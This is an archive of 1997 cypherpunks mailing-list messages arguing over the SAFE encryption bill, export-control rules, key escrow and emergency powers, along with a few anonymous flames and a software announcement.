Further poor "logic."  There are obviously going to be incorrect reasons for
opposing SAFE, but there may also be correct reasons.  The fact that the
thugs claim to oppose SAFE, although for the incorrect reasons simply shows
how wrong they are.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 2 May 1997 16:30:31 +0800
To: "Shabbir J. Safdar" <shabbir@vtw.org>
Subject: Re: SAFE Bill discussion
In-Reply-To: <199705011648.MAA29162@arutam.inch.com>
Message-ID: <3.0.1.32.19970502011449.027f8298@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:12 PM 5/1/97 -0400, Shabbir J. Safdar wrote:

>The Administration hates this bill, because it threatens their ability to
>roll out Key Recovery. [...]
>Do you think that if this bill helped the Administration, that they'd be
>out there urging the subcommittee chairman to stop it?  I think not.

Sure they would - it's a standard negotiating tactic. Ask for twice what
you need, then grudgingly accept half of what you asked for, whining and
complaining about how your needs aren't being met, how badly you're being
screwed, etc. Haven't you ever bought a car?

Do you think that the Administration will ever say "We've already
eliminated enough freedom and privacy, we don't need more laws to serve the
'legitimate needs of law enforcement'"? I think not.
 
>I'm also puzzled by the fact that CDT is being criticized pretty much
>solely, even though the entire Internet Privacy Coalition, and several
>other groups all wrote a letter of support of the bill with only a
>criticism of one provision.

I think this is occurring for two reasons:

1.	The people at CDT are closely identified with the stance that the EFF
took on the Digital Telephony bill, which is strikingly similar to the
coalition's approach to SAFE - e.g., cooperate with/support legislation
that's harmful, in hopes that by doing so you'll be able to negotiate away
some of the harm .. "We won't do any better than this, so we might as well
make the best of it." Digital Telephony is not ancient history, and it
hasn't been forgotten. I believe that the people who brokered that
compromise are essentially good people, who had good motives and 99% pure
hearts .. but the Digital Telephony bill is a goddamned embarassment to
people who care about privacy and the Fourth Amendment. Now the FBI wants
the ability to implement SIXTY THOUSAND SIMULTANEOUS WIRETAPS. What sort of
macabre dance do you think they'll be doing with the bones of SAFE in a few
more years? 

2.	It strikes me as unlikely that all of the groups mentioned really sat
down and hashed all of this out - my hunch is that one or two of the groups
wrote up an analysis and a proposed letter, and asked the other groups to
sign on. A likely suspect for the/a group who did the behind-the-scenes
work is CDT. 

>As far as I can tell, everyone criticizing the bill either thinks that:
>
>	a) CDT actually runs all these groups behind the scenes, or

You're not exactly likely to pick up respect or credibility by ascribing
ridiculous or straw-man positions to people who disagree with you. I
haven't seen anyone (not even the resident loons, and usually someone can
be counted on to pipe up and suggest the existence of a massive
alphabet-soup conspiracy) suggest that "CDT actually runs all these groups
..". 

(Don't bother, Toto - I'll do it for you. "C2Net actually runs all these
groups behind the scenes, as anyone who's bothered to inspect the message
headers while drinking a bottle of Scotch can tell you." And, of course,
Jim Bell has a solution for that.)

>Can you consider, perhaps, for a second, that critics of SAFE are being
>unreasonable?  I would think so, as critics of SAFE include the Clinton
>Administration.  Is that the kind of company that cypherpunks keep?

If this is the caliber and depth of reasoning that you bring to bear on
other issues, it's a miracle that you get anything done at all. Some
critics of SAFE are being unreasonable. Some are not being unreasonable.  

>Here's a great excerpt from the Internet Privacy Coalition letter:
>
>  The pending bill provides a positive framework for the reforms that are
>  long overdue in this critical area. It makes clear that the sale or use
>of
>  encryption, a vital technique to promote network security and individual
>  privacy, should not be restricted in the United States. This is the view
>  widely shared by users of the Internet and the computer and communications
>  industry. It was also a central recommendation of the
>  report of the National Research Council last year.
>
>Looks like widespread support from people who study this issue for living.
>I'm glad to be counted among them.

If SAFE (and ECPA II and ProCODE) limited themselves to the "reforms that
are long overdue in this critical area" (export control), you'd probably
find a lot more support among cypherpunks for them.

I'm beginning to think that the focus on the economic aspects of crypto
export control has been a mistake (cf. "export jobs, not crypto" in my
.signature) - because what we're seeing is corporations working out deals
with the government, and privacy and individual interests are getting
screwed. From my perspective, it was an attempt to recast the crypto debate
in terms that make sense to Congress and policy interests - but what we've
ended up with is a debate about how we can help enormous domestic software
companies compete in global markets, not a debate about the relationship
between individuals and the state, or about privacy and speech as
fundamental rights protected by cryptography. I guess the current thinking
is that privacy for humans will come about through a trickle-down effect,
that strong crypto will be deployed on a large scale because it'll be
quickly built into lots of software .. but I doubt it. Big software
companies don't give a fuck if they're selling GAK crypto or weak crypto or
strong crypto, as long as they're selling it. (the people inside may care,
but they're unlikely to be or stay in positions where their opinions
matter.)  

Which is why cypherpunks should write code, and not wait for Microscape to
do it for them, nor for legislators to make it pleasant for them to do so.
If SAFE is the best we can get from Congress (and people who should know
seem to think it is), we can't expect Congress to save us from the
executive branch. (The executive branch was working on this stuff before
anyone outside of Arkansas had ever heard of Bill Clinton, and they'll
probably still be flogging it in four more years. It's useful to hold
Clinton responsible for what he's done, but it's also useful to remember
that this isn't an issue that's going to go away because we elect a
different Demopublican.) 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 2 May 1997 13:46:27 +0800
To: cypherpunks@toad.com
Subject: Re: Bombs Away, from The Netly News Network
Message-ID: <199705020527.BAA24411@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
 
>     Internet fear-mongering is back in vogue inside
> the White House. The Clinton administration escalated
> its assault on the Net this week, warning that it
> provides bomb-making recipes to anyone "with a modem"
> and proposing a new law to restrict such information.

  "The answer to noise is more noise."
                  - Timothy McVeigh






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Fri, 2 May 1997 17:13:28 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: "restrict technical assistance by U.S. persons with respect to encryption"
In-Reply-To: <tcmay@got.net>
Message-ID: <9705020135.ZM29118@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


Since I am going to quote portions of the EAR and make some comments
on it, let me begin by stating that I Am Not A Lawyer, and none of this
is to be taken as legal advice, or even accurate.

On May 1, 10:18pm, Tim May wrote:
> I hate it when people ask me to go dig up stuff...as I often end up wasting
> my time doing it, instead of telling them to use their own search tools.

	I didn't mean for you to do the search, Tim. I have spent
some time reading the EAR. For example, by reading the
relevant sections of the EAR and correlating it with the
Immigration and Naturlization Act, I figured out that
it would be illegal for somebody in the US to give me
encryption software, though it would be OK for them
to give the same code to a certain class of illegal
immigrants. During all this, I didn't come accross a section which
said that "hooks" or something similiar (used to be known as a DES
shaped hole), cannot be exported without a license. I was hoping
that some of the lawyers who frequent cypherpunk, whose job
it might to understand these regulations would be generous
enough to post a pointer.

> But it may have been worth it. While stupidly searching the EARs with my
> tools, I found this little gem:
> Sec. 730.5  Coverage of more than exports.
>
> * * * * *
>     (d) * * * The EAR also restrict technical assistance by U.S.
> persons with respect to encryption commodities or software.
>

	"Restrict", not prohibit.

	To atone for my sins, I decided to do some searching myself.

	This is actually expanded on in 744.9.

	736.2 (b)(7)(ii) (general prohibition seven) says:

    (ii) You may not, without a license from BXA, provide certain
technical assistance to foreign persons with respect to encryption
items, as described in Sec. 744.9 of the EAR.//

	And in 744.9.
// Sec. 744.9.  Restrictions on technical assistance by U.S.
persons with respect to encryption items.

    (a) General prohibition. No U.S. person may, without a license from
BXA, provide technical assistance (including training) to foreign
persons with the intent to aid a foreign person in the development or
manufacture outside the United States of encryption commodities and
software that, if of United States origin, would be controlled for
``EI'' reasons under ECCN 5A002 or 5D002.

	These ECCNs (whatever that means) is in http://jya.com/774-ccl05.htm.
5A002 is for hardware modules that do encryption functions. 5D002 applies
to software. I won't quote it here, but from my reading it lists
only software designed or modified for certain purposes, such as putting
it in a hardware module, for one.

	The general prohibitions in part 736 does not make any other
references to technical assistance, so I would think this is all
the restriction that is there, but as I said, IANAL, and I haven't
read the whole EAR.
>
> Anil, you'll have to do the research on where in the vast amount of stuff
> on the EARs, the Munitions List, the CCL, etc. this is spelled out. I'm
> done for the evening.

	Good night, Tim. Glad you could find something useful out of
all that wasted time, and glad I could do some searcing for you in return.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 2 May 1997 14:00:24 +0800
To: cypherpunks@toad.com
Subject: Re: Random numbers from the '60's...
Message-ID: <199705020545.BAA25535@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:

> >Who needs a camera and a lava lamp when soundblaster cards with noisy
> >microphone preamps are nearly universal?
> 
> The Lava Lamp is nice and visual, though.
> On the other hand, isn't the noise from blowing on a microphone chaotic,
> due to various turbulence effects?   It's definitely prior art,
> as is hashing the physical-world input data.

  Just give me a microphone and a can of beans, and call me
"Mr. Random" (inventor of the 'corned beef' hash system).

FartMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 2 May 1997 21:05:29 +0800
To: cypherpunks@toad.com
Subject: Cyberstrike
Message-ID: <TCPSMTP.17.5.2.2.49.34.2780269260.1624836@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

May be of interest...

 In> From: cleacy@execulink.com (Chris Leacy)
 In> Newsgroups: comp.infosystems.www.announce
 In> Subject: SOFTWARE: CyberStrike 1.13a Ad filtering/Cookie cutting Proxy
 In> Date: 30 Apr 1997 23:28:43 -0400

 In> CyberStrike: Version 1.13a First Public Release

 In> The first public alpha of CyberStrike was released today.
 In> It can be found at <URL:http://www.execulink.com/~cleacy>

 In> CyberStrike is a banner ad filtering, cookie cutting, HTTP
 In> header overriding proxy of a program.

 In> Whether for privacy concerns, or just to speed up your
 In> browsing, CyberStrike performs admirably well at it's task.

 In> Chris


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM2mQeTltEBIEF0MBAQEbUAf+NQOMPrml38ijLwv8MIPSkTUbtbNQebJy
R4LaeYhXI6Z/OzJdX6AQC2GisxMyPiz3QWWBoAqxGkunWDHbQzDfZVWW6nZa4zLY
do2r11CEWFPba1igX+8JtCm9gd11S8Zlff5Pw5eTYOMcsVSHf6Z/+iAT5aqnIdcb
YU26JswL1MofhWlNhbNXYc/9wQ3uUn1hU3lin+Lujfa5+cXXlTyfz6eFcJlwD7ZY
KdK7UfPMuCeZnUX/VJqBdJ1idXfC5YOlwVMBNIyQK7PgCy59FvP5CiiXhpui7uSj
WijKBSMUsz2HuQIuQJf6zvW/bi5DGWr6PerTXnuVaUkjNHr4Fp13Mg==
=5TtH
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Seth Finkelstein <sethf@MIT.EDU>
Date: Fri, 2 May 1997 17:10:26 +0800
To: Mac Norton <abd@cdt.org>
Subject: Re: SAFE Bill is a Good Thing--"Crypto For The Masses"
Message-ID: <9705020808.AA18096@frumious-bandersnatch.MIT.EDU>
MIME-Version: 1.0
Content-Type: text/plain


>>On Thu, 1 May 1997, Alan Davidson wrote:
>> 2. CDT Does Not Support The Criminal Provision in SAFE

>At 22:09 5/01/97 -0500, Mac Norton wrote:
>I don't get it.  CDT loudly supports the bill. The bill
>contains the criminal provision.  I don't get it.  Do you?

	I keep having bad flashbacks to Digital Telephony, and
pre-CDA. Virtually all the lobbying groups would run around saying
things like "we support this bill, but oppose this provision". Or
convoluted stuff like "We oppose all these bills, but of the measures
being considered, we support this one".
	The pattern is really bothering me.

================
Seth Finkelstein
sethf@mit.edu





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 2 May 1997 21:02:50 +0800
To: cypherpunks@toad.com
Subject: [CRYPTO] ZKP
Message-ID: <199705021127.EAA26541@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy `C' May's aberrant sexual life has negatively impacted his mental 
integrity.

        ,,,
   -ooO(o o)Ooo- Timmy `C' May
         v





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott Renfro" <srenfro@silvix.sirinet.net>
Date: Fri, 2 May 1997 19:15:29 +0800
To: das@razor.engr.sgi.com (Anil Das)
Subject: Re: "restrict technical assistance by U.S. persons with respect
In-Reply-To: <tcmay@got.net>
Message-ID: <199705021015.KAA28827@silvix.sirinet.net>
MIME-Version: 1.0
Content-Type: text/plain


I am anything _but_ a lawyer, but ...

On  2 May 97 at 1:35, Anil Das wrote:
>  These ECCNs (whatever that means) is in http://jya.com/774-ccl05.htm.
> 5A002 is for hardware modules that do encryption functions. 5D002 applies
> to software. I won't quote it here, but from my reading it lists only
> software designed or modified for certain purposes, such as putting it in
> a hardware module, for one.

Filling in the cross-references between 5D002 and 5A002 in the above URL,
I read the following: 
a.  Software having the same characteristics, or performing or simulating
the functions of of equipment designed or modified to use "cryptography"
employing digital or analog techniques to ensure "information security" is
controlled.  
b.  Software designed or modified to use such software is controlled.

This is the clearest control of software "hooks" I have read in the reg.  
The software module performing encryption would fall under control due to 
(a) and the software designed with "hooks" for the encryption module would 
fall under control due to the restriction in (b).

FWIW
Scott





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 2 May 1997 21:08:53 +0800
To: cypherpunks@toad.com
Subject: unSAFE
Message-ID: <Pine.GSO.3.95.970502053413.14481B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 2 May 1997 01:04:17 -0400
From: Michael Sims <jellicle@inch.com>
To: fight-censorship@vorlon.mit.edu
Cc: Jonah Seiger <jseiger@cdt.org>, abd@cdt.org, Tim May <tcmay@got.net>,
    declan@well.com
Subject: unSAFE

Well, I've read Mr. Davidson's defense of the SAFE bill and of course 
Mr. May's earlier argument against it.  A few more comments.


Both analyses (all analyses I've seen) ignore this little fun fun 
tidbit below:

<--QUOTE-->

(a) AMENDMENT TO EXPORT ADMINISTRATION ACT OF 1979. -- Section 17 of
the Export Administration Act of 1979 (50 U.S.C. App. 2416) is amended
by adding at the end thereof the following new subsection: 

"(1) GENERAL RULE.--Subject to paragraphs (2), (3), and (4), the
Secretary shall have exclusive authority to control exports of all
computer hard ware, software, and technology for information security
(including encryption), except that which is specifically designed,
or modified for military use, including command, control, and
intelligence applications. 

"(2) ITEMS NOT REQUIRING LICENSES. -- No validated license may be
required, EXCEPT PURSUANT TO THE TRADING WITH THE ENEMY ACT OR THE
INTERNATIONAL EMERGENCY ECONOMIC POWERS ACT (but only to the extent
that the authority of such Act is not exercised to extend controls
imposed under this Act), for the export or reexport of 

....

(b) CONTINUATION OF EXPORT ADMINISTRATION ACT.-For purposes of
carrying out the amendment made by subsection (a), the Export
Administration Act of 1979 shall be deemed to be in effect.

<--/QUOTE-->

{emphasis added, EXCEPT....ACT}



The Trading with the Enemy Act was passed in 1917 and amended
(importantly) in 1933 (Great Depression, New Deal).  Originally, it
was intended to simply declare that when the nation was at war, it
was total war - the US would not honor any obligations or respect
any rights of citizens of enemy, warring countries.  It specifically
allowed the president to regulate as he wished, during wartime, the
assets and fiscal transactions conducted by an enemy country. 
(Confiscation and all that).  Fair enough, for a WWI era law.

Here how it read.  Recall, this is during a declared war only.

"That the President may investigate, regulate, or prohibit, under
such rules and regulations as he may prescribe, by means of licenses
or otherwise, any transactions in foreign exchange, export or
earmarkings of gold or silver coin or bullion or currency, transfers
of credit in any form (other than credits relating solely to
transactions to be executed wholly within the United States)". 


In 1933 it was amended, hastily, sneakily, back-door-ily, in order
to grant incoming President Roosevelt extraordinary powers over the
money supply of the nation.  It was amended to declare all citizens
of the United States to be "enemies", under its power during any
time of war *or national emergency*.  That is, the "Trading with the
Enemy" act now applied to all citizens of the US and all of their
interpersonal transactions.  Roosevelt declared a national
emergency, and took the country off the gold standard, pumping cash
into the system and ending the depression.  But doing so required
power not earlier available.

Thus the new wording below.  This is now during war *or national 
emergency declared by the president*.

"through any agency that he may designate, or otherwise, investigate,
regulate or prohibit under such rules and regulations as he may
prescribe by means of licenses or otherwise, any transactions in
foreign exchange, transfers of credit between or payments by banking
institutions as defined by the President and export, hoarding,
melting or earmarking of gold or silver coin or bullion or currency
by any person within the United States or anyplace subject to the
jurisdiction thereof." 


Roosevelt of course declared a national emergency and proceeded on 
his way.  However, he declared it in such a way as to make it 
continue until revoked.  This country remains in a state of emergency 
today, and will do so forthe foreseeable future, and the President 
retains the extraordinary powers intended solely for wartime.

These include the total ability to regulate commerce in the United 
States.

I recommend Michael Froomkin's excellent (and lengthy) article on the 
subject at 
http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm.

Although about the Clipper chip, if you go about 60% through the 
article he has a solid discussion of the EAA, IEEPA and the 
presidential power thereunder.  It's 50 U.S.C. Sec. 1701 and 
following.  Section 1702 there has the meat of it.

This Act allows the President, once he has declared a state of 
emergency, to regulate essentially any commerce with another nation, 
except those items directly identified as "speech" - magazines, 
papers, etc.

President Clinton has twice declared a state of emergency regarding 
export control regulations, the latest on August 15, 1996.


Mr. Seiger, Mr. Davidson, I hope that you merely did not understand
the giant, drive-a-truck-through loophole present in this SAFE bill.
By guaranteeing free export EXCEPT pursuant to whatever actions are
taken under the IEEPA or Trading with the Enemy Act, it guarantees
absolutely nothing at all.  Those laws combined provide the President
with complete power to regulate the sale or export of crypto,
anywhere.  This law, Mr. Davidson's assertions notwithstanding,
gives nothing at all while taking a great deal.

Every "right" the SAFE act grants is already possessed.  The law 
also poses severe penalties for using crypto in furtherance of a 
crime.  As an example, I call Crook 2 on my cell phone while 
cruising down the street.  It is later determined that we were 
plotting a bank heist.  Extra five years for using encryption to 
further my crime.  Yep, just a plain old cell phone.  For that 
matter, almost all cordless phones today use an encrypt/decrypt 
routine for their transmissions as well.

Anyone using PGP on their computer?  Crime involved at least one 
email sent for any reason?  Extra five years.  This will hardly 
support the spread of encryption.

It gives law enforcement guaranteed access to keys: an awful
precedent.  Any law enforcement officer or investigative officer
(attornies prosecuting a case) who is empowered to prosecute or
participate in the prosecution of offenses under this act may compel
disclosure of keys.  All one needs is an escrow provision to ensure
that such a key is available for the government to retrieve - and
such a provision is perfectly legal for the president to impose. 
Thus, an FBI agent, who is "empowered" to investigate crimes under
this act, can compel disclosure, by a third party, of your keys -
without cause to even believe an offense has actually been
committed.  Without judicial review.  This will further the spread
of strong crypto?


I freely admit I'm not an expert US export control law, which is
designed to be confusing.  But I believe that all of the privacy and
crypto organizations which have signed on to SAFE are being sold a
bill of goods, a law which says in bold letters "freedom" "freedom"
"prohibition" but provides no freedoms, and does not prohibit key
escrow in any fashion.  I urge you _most strongly_ to consult with
legal experts on these matters and verify that what I have said is
true.  THIS BILL GIVES NOTHING AT ALL AND MAKES USE OF CRYPTO WORTH
FIVE YEARS IN PRISON.  Continued support of this bill by privacy and
crypto advocates is outrageous.  Newsletters supporting this bill by
such organizations have the effect of perpetuating the false
impressions of what this law does and does not do, and need to be
immediately brought in line with reality.  While I am only cc'ing
CDT reps on this matter, I give free permission to forward this post
to any/all other crypto and privacy supporting organizations or
listservs for comment.


-- Michael Sims






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 2 May 1997 23:20:44 +0800
To: cypherpunks@toad.com
Subject: Re: unSAFE (at any speed)
Message-ID: <199705021459.HAA00163@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh got off his knees and pulled up his
pants long enough to forward:

> From: Michael Sims <jellicle@inch.com>
> To: fight-censorship@vorlon.mit.edu
> Subject: unSAFE
 
> Well, I've read Mr. Davidson's defense of the SAFE bill and of course
> Mr. May's earlier argument against it.  A few more comments.

> The Trading with the Enemy Act was passed in 1917 and amended
> (importantly) in 1933 (Great Depression, New Deal).
> It specifically
> allowed the president to regulate as he wished, during wartime, the
> assets and fiscal transactions conducted by an enemy country.
> (Confiscation and all that).  Fair enough, for a WWI era law.
> 
>  Recall, this is during a declared war only.

> In 1933 it was amended, hastily, sneakily, back-door-ily, in order
> to grant incoming President Roosevelt extraordinary powers over the
> money supply of the nation.  It was amended to declare all citizens
> of the United States to be "enemies", under its power during any
> time of war *or national emergency*.  That is, the "Trading with the
> Enemy" act now applied to all citizens of the US and all of their
> interpersonal transactions.

  Amen! Someone who understands that the governement long ago usurped
the power of the voters and has declared the citizens to be the enemy,
putting in place governmental powers that allow the elite to rule the
country according to their personal dictates, no matter what the wishes
of the citizens are.
  The ruling elite (not the people we elect, by the way) let us 
fight vainly over this or that provision of laws and regulations
which cut off our private parts an inch at a time, and then, once
their overt screwing of the citizenry has reached its final limits,
they finish the job behind closed doors, via the dictatorial power
of *national emergency* legislation.

> Thus the new wording below.  This is now during war *or national
> emergency declared by the president*.
> 
> "through any agency that he may designate, or otherwise, investigate,
> regulate or prohibit under such rules and regulations as he may
> prescribe <...>
> Roosevelt of course declared a national emergency and proceeded on
> his way.  However, he declared it in such a way as to make it
> continue until revoked.  This country remains in a state of emergency
> today, and will do so forthe foreseeable future, and the President
> retains the extraordinary powers intended solely for wartime.
 
> These include the total ability to regulate commerce in the United
> States.

  'We the sheeple' would be outraged if the government entered our
homes and businesses and forced us into compliance with their wishes
at gunpoint.
  So they do it with financial guns, in an age where money=survival,
and the average joe's mind has been so conditioned to financial rule
that the Money Gods are deemed to be invincible paragons of 'right
thinking.'
  No matter how obvious it is that the government is using our own
money to screw us, we still feel that we are 'bad people' if we 
don't pay our taxes. We feel like we are truly guilty criminals
if we resist participating in our own oppression.

> I recommend Michael Froomkin's excellent (and lengthy) article on the
> subject at
> http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm.
> 
> Although about the Clipper chip, if you go about 60% through the
> article he has a solid discussion of the EAA, IEEPA and the
> presidential power thereunder.  It's 50 U.S.C. Sec. 1701 and
> following.  Section 1702 there has the meat of it.
> 
> This Act allows the President, once he has declared a state of
> emergency, to regulate essentially any commerce with another nation,
> except those items directly identified as "speech" - magazines,
> papers, etc.

  And if he declares a "Jaywalking Violators National Emergency"
with far-reaching consequences, it will get a small blurb on the
back pages of the major print media, if anything.
  Declan (bless his D.C. journalist ass) might speak up about the
dangers of the action, but is unlikely to be heard by the people
at the shopping malls, where most Americans live.

> Every "right" the SAFE act grants is already possessed.  The law
> also poses severe penalties for using crypto in furtherance of a
> crime.

  How long until we have a new law which "grants" us the right to
breathe, but makes breathing in furtherance of a crime subject to
severe penalties?

> Anyone using PGP on their computer?  Crime involved at least one
> email sent for any reason?  Extra five years.  This will hardly
> support the spread of encryption.
> 
> It gives law enforcement guaranteed access to keys: an awful
> precedent.  Any law enforcement officer or investigative officer
> (attornies prosecuting a case) who is empowered to prosecute or
> participate in the prosecution of offenses under this act may compel
> disclosure of keys.  All one needs is an escrow provision to ensure
> that such a key is available for the government to retrieve - and
> such a provision is perfectly legal for the president to impose.
> Thus, an FBI agent, who is "empowered" to investigate crimes under
> this act, can compel disclosure, by a third party, of your keys -
> without cause to even believe an offense has actually been
> committed.  Without judicial review.  This will further the spread
> of strong crypto?

  The end result? We can *still* use strong crypto, but *now* it 
will cost us five years of our life to do so, unless we give up
our keys, which negates the use of crypto in the first place.

  I used to love Garner Ted Armstrong talking about missionaries
who travelled to obscure corners of the earth in order to *save*
people by telling them about Jesus.
  He would ask them what happened if a particular individual died
before the missionary arrived, and thus never got a chance to hear
about Jesus? Would they burn in hell, as a result.
  The missionaries would explain that, since they never got a 
chance to hear about Jesus, that they would go to heaven by default,
since God wouldn't punish them with everlasting fire just because
they never had a chance to be *saved*.
  Garner Ted would then point out that the missionaries where thus
not giving the individual a chance to go to *heaven*, since they
were going there anyway, by default, but were, in fact, giving the
individual a chance to go to *hell*.

  I think about this every time that I hear about a new piece of
government legislation designed to *save* me from this-or-that
evil/hell.

> THIS BILL GIVES NOTHING AT ALL AND MAKES USE OF CRYPTO WORTH
> FIVE YEARS IN PRISON.  Continued support of this bill by privacy and
> crypto advocates is outrageous.

  Yes, but the reality of life is that reasonable people learn that
they need to compromise...and compromise...and compromise...and 
compromise...and compromise...and compromise...and compromise...
  "HEY! WHERE DID ALL OF MY FREEDOM AND PRIVACY GO?!?"

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Fri, 2 May 1997 23:49:30 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: unSAFE
Message-ID: <3.0.32.19691231160000.006bbf9c@best.com>
MIME-Version: 1.0
Content-Type: text/plain


comment, though, on this caveat in the paragraphs you indicate:

   "(2) ITEMS NOT REQUIRING LICENSES. ...
(but only to the extent that the authority of such Act is not exercised to
extend controls imposed
    under this Act) .... "

Seems to me that it says "the administration can still control xyz under
the EAA, TWE, EEP, etc but not if such control extends the controls defined
under HR695 SAFE"

Looks like language to assuage the powers that be, while it creates
AMBIGUITY and the need for interpretation (AKA court intervention) when
some administration tries to overstep it's bounds.  I don't think that's
necessarily bad, since legislation has never existed that is ironclad 
anyway: it's always subject to some runaway Attorney General getting weird,
as we have seen plenty of times.

<usual caveats go here> 


At 05:34 AM 5/2/97 -0700, Declan McCullagh wrote:
>
>
>---------- Forwarded message ----------
>Date: Fri, 2 May 1997 01:04:17 -0400
>From: Michael Sims <jellicle@inch.com>
>To: fight-censorship@vorlon.mit.edu
>Cc: Jonah Seiger <jseiger@cdt.org>, abd@cdt.org, Tim May <tcmay@got.net>,
>    declan@well.com
>Subject: unSAFE
>
>Well, I've read Mr. Davidson's defense of the SAFE bill and of course 
>Mr. May's earlier argument against it.  A few more comments.
>
>
>Both analyses (all analyses I've seen) ignore this little fun fun 
>tidbit below:
>
><--QUOTE-->
>
>(a) AMENDMENT TO EXPORT ADMINISTRATION ACT OF 1979. -- Section 17 of
>the Export Administration Act of 1979 (50 U.S.C. App. 2416) is amended
>by adding at the end thereof the following new subsection: 
>
>"(1) GENERAL RULE.--Subject to paragraphs (2), (3), and (4), the
>Secretary shall have exclusive authority to control exports of all
>computer hard ware, software, and technology for information security
>(including encryption), except that which is specifically designed,
>or modified for military use, including command, control, and
>intelligence applications. 
>
>"(2) ITEMS NOT REQUIRING LICENSES. -- No validated license may be
>required, EXCEPT PURSUANT TO THE TRADING WITH THE ENEMY ACT OR THE
>INTERNATIONAL EMERGENCY ECONOMIC POWERS ACT (but only to the extent
>that the authority of such Act is not exercised to extend controls
>imposed under this Act), for the export or reexport of 
>
>....
>
>(b) CONTINUATION OF EXPORT ADMINISTRATION ACT.-For purposes of
>carrying out the amendment made by subsection (a), the Export
>Administration Act of 1979 shall be deemed to be in effect.
>
><--/QUOTE-->
>
>{emphasis added, EXCEPT....ACT}
>
>
... etc ...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 2 May 1997 22:49:38 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [CRYPTO] ZKP
In-Reply-To: <199705021127.EAA26541@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970502083414.27468B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 2 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy `C' May's aberrant sexual life has negatively impacted his mental 
> integrity.
> 
>         ,,,
>    -ooO(o o)Ooo- Timmy `C' May
>          v
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Fri, 2 May 1997 23:58:13 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Made a Mistake! Re: unSAFE
Message-ID: <3.0.32.19691231160000.006c0aa0@best.com>
MIME-Version: 1.0
Content-Type: text/plain


I wrote
---
comment, though, on this caveat in the paragraphs you indicate:

   "(2) ITEMS NOT REQUIRING LICENSES. ...
(but only to the extent that the authority of such Act is not exercised to
extend controls imposed
    under this Act) .... "

Seems to me that it says "the administration can still control xyz under
the EAA, TWE, EEP, etc but not if such control extends the controls defined
under HR695 SAFE"

Looks like language to assuage the powers that be, while it creates
